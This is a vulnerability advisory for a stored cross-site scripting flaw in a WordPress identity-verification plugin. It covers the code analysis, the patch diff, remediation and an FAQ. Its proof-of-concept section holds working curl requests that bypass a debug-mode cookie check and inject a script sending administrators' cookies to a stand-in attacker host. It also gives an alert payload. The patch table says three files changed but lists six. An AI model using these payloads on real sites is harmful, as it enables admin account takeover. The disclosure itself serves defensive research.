CVE-2026-2834: Unauthenticated Stored XSS in Token of Trust Plugin
Table of Contents
CVE-2026-2834 is a CVSS 7.2 (High) Unauthenticated Stored Cross-Site Scripting vulnerability in the Age Verification & Identity Verification by Token of Trust WordPress plugin. All versions up to and including 3.32.3 are affected. An unauthenticated attacker can inject arbitrary JavaScript into the plugin’s debug log by sending a single crafted HTTP request. The payload is stored in the WordPress database. It fires automatically the next time any administrator visits the Debug Logs settings page — no extra interaction is needed. A successful attack can result in full admin account takeover.
Vulnerability Summary
| Field | Value |
|---|---|
| Plugin Name | Age Verification & Identity Verification by Token of Trust |
| Plugin Slug | token-of-trust |
| CVE ID | CVE-2026-2834 |
| CVSS Score | 7.2 (High) |
| Vulnerability Type | Unauthenticated Stored Cross-Site Scripting (XSS) |
| Affected Versions | <= 3.32.3 |
| Patched Version | 3.32.4 |
| Published | April 14, 2026 |
| Researcher | Teerachai Somprasong |
| Wordfence Advisory | Link |
Description
The Token of Trust plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the description parameter in all versions up to and including 3.32.3. The root cause is insufficient input sanitization and missing output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
Technical Analysis
Vulnerable Code Path
The vulnerability spans three files and follows a store-then-display pattern.
Step 1 — Unauthenticated AJAX handler registration (admin/error-log.php, lines 4–5):
tot_add_action( 'wp_ajax_tot_error_log', 'tot_handle_error_log' );
tot_add_action( 'wp_ajax_nopriv_tot_error_log', 'tot_handle_error_log' );
The nopriv variant registers the handler for users who are not logged in. No nonce is verified anywhere in the handler.
Step 2 — Raw unsanitized input (admin/error-log.php, lines 10–15):
if ( ! isset( $_POST['description'] ) || empty( $_POST['description'] ) ) {
wp_send_json_success( ... );
wp_die();
}
$description = trim( $_POST['description'] );
The handler reads $_POST['description'] directly — only a trim() is applied. No sanitize_text_field(), no wp_kses(), no escaping.
Step 3 — Debug mode guard bypass (Modules/Verification/Shared/Debugger.php, line 79):
if ( ! tot_debug_mode() && ! \TOT\Shared\Settings::get_param_or_cookie( 'debug_mode' ) ) {
return;
}
get_param_or_cookie() reads directly from $_COOKIE['debug_mode']. Because this is PHP’s superglobal, any HTTP request that includes a Cookie: debug_mode=1 header satisfies this condition. An attacker controls their own HTTP request headers, so this guard is easy to bypass.
tot_debug_mode() (legacy.php:14–15) is:
function tot_debug_mode() {
return time() < \TOT\Shared\Settings::get_setting( 'debug_mode' );
}
By default debug_mode is 0, so time() < 0 is false. The guard therefore relies entirely on the attacker-controlled cookie when the admin has not manually enabled debug mode.
Step 4 — Unsanitized storage to database (Modules/Verification/Shared/Debugger.php, lines 96–99):
$new_log = array(
'timestamp' => current_time( 'mysql' ),
'body' => print_r( $log, true ),
'type' => $type,
);
if ( ! empty( $head ) ) {
$new_log['head'] = $head; // ← raw attacker-controlled value stored
$this->new_heads[] = $head;
}
$this->new_logs[] = $new_log;
Debugger writes the raw $head value — which comes directly from $_POST['description'] — into the tot_logs WordPress option via update_option(), with no sanitization.
Step 5 — Unescaped output to admin page (admin/settings-page/view-logs.php, line 13):
$logs = get_option( 'tot_logs', array() );
foreach ( $logs as $item ) {
$notice = '';
if ( isset( $item['head'] ) ) {
$notice .= '<h3>' . $item['head'] . '</h3>'; // ← no esc_html()
}
...
printf(
'<div class="notice notice-%2$s">%3$s %1$s</div>',
...,
$item['type'],
$notice // ← rendered raw into the page
);
}
view-logs.php prints the head field directly inside an <h3> tag without calling esc_html(). Any HTML or JavaScript stored in that field executes when an administrator visits WP Admin → Token of Trust → Debug Logs.
Root Cause
Two independent failures combine to create the vulnerability:
- No authentication or nonce check on the AJAX endpoint. Any unauthenticated HTTP client can call
wp-admin/admin-ajax.php?action=tot_error_log. - No output escaping in the log display template.
$item['head']is rendered as raw HTML with'<h3>' . $item['head'] . '</h3>'.
Either fix alone would have prevented exploitation. The input arrives unsanitized, travels through the database, and is rendered unsanitized. This is a classic second-order (stored) XSS.
Why Existing Controls Failed
Debug mode guard: The guard at Debugger::log() line 79 was intended to prevent storing log entries outside of a debugging session. It does not work. The second condition reads $_COOKIE['debug_mode'] directly — a value the attacker supplies in their own HTTP request. The guard therefore protects nothing against any attacker who tries.
Body escaping: view-logs.php line 21 does apply esc_html() to $item['body'], but not to $item['head']. The head is the value that originates from $_POST['description']. The asymmetric escaping left the injection point unprotected.
Attack Impact
An unauthenticated attacker can inject arbitrary JavaScript that executes in the browser of any administrator who visits the Debug Logs settings page. Typical impacts include:
- Admin account takeover — stealing session cookies or application passwords
- Backdoor creation — using the admin session to install a malicious plugin or create a rogue administrator account
- Site defacement or malware injection — modifying site content via the WordPress REST API while impersonating the admin
- Credential harvesting — rendering a fake login overlay to capture the admin’s WordPress password
Proof of Concept
Disclaimer: This PoC is provided for educational and defensive security research purposes only. Do not use against any system without explicit written authorization.
Prerequisites
- WordPress installation with the
token-of-trustplugin installed and activated - Plugin version <= 3.32.3
- The attacker needs no credentials and no prior access
Step-by-Step Reproduction
Step 1: Inject the XSS payload
Send a POST request to the WordPress AJAX endpoint. The Cookie: debug_mode=1 header bypasses the debug-mode guard in Debugger::log().
curl -s -X POST \
'https://TARGET.example.com/wp-admin/admin-ajax.php' \
-H 'Cookie: debug_mode=1' \
-d 'action=tot_error_log' \
-d 'description=<script>fetch("https://attacker.example.com/steal?c="+document.cookie)</script>' \
-d 'severity=error'
Expected response (success):
{"success":true,"data":[]}
A success response confirms the payload was accepted and stored in the tot_logs WordPress option.
Step 2: Verify storage in the database (optional)
Using WP-CLI on the target server:
wp option get tot_logs --format=json | python3 -m json.tool | head -20
The injected description value should appear in the head field of the first log entry.
Step 3: Trigger XSS — wait for admin to visit Debug Logs
The payload fires when any administrator navigates to:
WP Admin → Token of Trust → Settings → (Debug Logs tab)
The page renders:
<h3><script>fetch("https://attacker.example.com/steal?c="+document.cookie)</script></h3>
The script executes in the administrator’s browser with full access to the wp-admin session cookie.
Expected Result
The attacker’s JavaScript executes in the administrator’s browser session. In the example above, the admin’s cookies are sent to the attacker’s server. With that session cookie, the attacker can perform any action the administrator can — including installing plugins or creating new administrator accounts.
Verification
Check the listener for an incoming request:
GET /steal?c=wordpress_logged_in_XXXX=admin%7C1234567890%7C... HTTP/1.1
Alternatively, substitute a confirm() or alert() payload for in-browser visual confirmation:
curl -s -X POST \
'https://TARGET.example.com/wp-admin/admin-ajax.php' \
-H 'Cookie: debug_mode=1' \
-d 'action=tot_error_log' \
-d 'description=<img src=x onerror=alert(document.domain)>' \
-d 'severity=error'
Patch Analysis
What Changed
Three files were modified in version 3.32.4:
| File | Change |
|---|---|
admin/error-log.php | Added nonce verification; sanitized all inputs |
admin/settings-page/view-logs.php | Added esc_html() on head and timestamp; used wp_kses_post() for output |
Modules/Verification/Shared/Debugger.php | Applied wp_strip_all_tags() to body; replaced <b> HTML tags with ** markdown |
Modules/Shared/Assets/tot-error-log.js | Added _ajax_nonce field to AJAX requests |
admin/enqueue-js.php | Generates and localizes errorLogNonce for admin context |
site/enqueue-css.php | Generates and localizes errorLogNonce for front-end context |
Fix Explanation
Primary fix — nonce verification (admin/error-log.php):
// PATCHED
if ( ! wp_verify_nonce( $_POST['_ajax_nonce'] ?? '', 'tot-error-log' ) ) {
wp_send_json_error( 'Invalid security token.' );
wp_die();
}
A WordPress nonce tied to the action tot-error-log is now required. Nonces are user-session-bound; an unauthenticated attacker cannot forge a valid nonce for a logged-in user’s session. This blocks the attack entirely before any payload reaches the logger.
Secondary fix — input sanitization (admin/error-log.php):
$description = sanitize_textarea_field( trim( $_POST['description'] ?? '' ) );
sanitize_textarea_field() strips all HTML tags and encodes special characters, eliminating the XSS payload at ingestion time.
Tertiary fix — output escaping (admin/settings-page/view-logs.php):
$notice .= '<h3>' . esc_html( $item['head'] ) . '</h3>';
$notice .= '<p>Timestamp: ' . esc_html( $item['timestamp'] ) . '</p>';
esc_html() converts any HTML-special characters in stored values to HTML entities before the browser renders them. This is a defense-in-depth fix: even if a payload somehow bypassed nonce and sanitization, it could not execute.
The fix is complete. All three layers (authentication, sanitization, escaping) are now in place.
Code Diff (Key Changes)
--- a/admin/error-log.php
+++ b/admin/error-log.php
@@ -5,15 +5,14 @@
tot_add_action( 'wp_ajax_nopriv_tot_error_log', 'tot_handle_error_log' );
function tot_handle_error_log() {
- $max_post_size = 64000; // 64KB
+ $max_post_size = 64000;
- if ( ! isset( $_POST['description'] ) || empty( $_POST['description'] ) ) {
- wp_send_json_success( array( 'message' => 'Empty error description, not logged.' ) );
+ if ( ! wp_verify_nonce( $_POST['_ajax_nonce'] ?? '', 'tot-error-log' ) ) {
+ wp_send_json_error( 'Invalid security token.' );
wp_die();
}
- $description = trim( $_POST['description'] );
+ $description = sanitize_textarea_field( trim( $_POST['description'] ?? '' ) );
--- a/admin/settings-page/view-logs.php
+++ b/admin/settings-page/view-logs.php
@@ -12,7 +12,7 @@
$notice = '';
if ( isset( $item['head'] ) ) {
- $notice .= '<h3>' . $item['head'] . '</h3>';
+ $notice .= '<h3>' . esc_html( $item['head'] ) . '</h3>';
}
if ( isset( $item['timestamp'] ) ) {
- $notice .= '<p>Timestamp: ' . $item['timestamp'] . '</p>';
+ $notice .= '<p>Timestamp: ' . esc_html( $item['timestamp'] ) . '</p>';
}
Timeline
| Date | Event |
|---|---|
| April 14, 2026 | Vulnerability publicly disclosed by Teerachai Somprasong via Wordfence |
| April 14, 2026 | Patched version 3.32.4 released |
Remediation
Update the token-of-trust plugin to version 3.32.4 or later immediately.
If an immediate update is not possible, temporarily deactivate the plugin. Alternatively, block unauthenticated POST requests to wp-admin/admin-ajax.php?action=tot_error_log at your WAF or server level.
References
Frequently Asked Questions
What is CVE-2026-2834?
CVE-2026-2834 is a CVSS 7.2 High severity Unauthenticated Stored Cross-Site Scripting vulnerability in the Age Verification & Identity Verification by Token of Trust WordPress plugin that lets any visitor inject JavaScript into the admin debug log, which then executes in every administrator's browser.
Which versions of Age Verification & Identity Verification by Token of Trust are affected by CVE-2026-2834?
All versions up to and including 3.32.3 are vulnerable. Version 3.32.4 contains the fix and is safe to use.
What can an attacker do with CVE-2026-2834?
An attacker can store malicious JavaScript in the plugin's debug log without any account. When an administrator opens the Debug Logs settings page, that script runs and can steal session cookies, create rogue admin accounts, or install malicious plugins.
Does an attacker need to be logged in to exploit CVE-2026-2834?
No. The vulnerable AJAX endpoint accepts requests from anyone, including visitors who are not logged in to WordPress.
How do I fix CVE-2026-2834 in Age Verification & Identity Verification by Token of Trust?
Update the Token of Trust plugin to version 3.32.4 or later through the WordPress admin Plugins screen or WP-CLI. If you cannot update right away, deactivate the plugin until you can.
Has Age Verification & Identity Verification by Token of Trust been patched for CVE-2026-2834?
Yes. Version 3.32.4 was released on April 14, 2026 and fully resolves this vulnerability by adding nonce verification, input sanitization, and output escaping.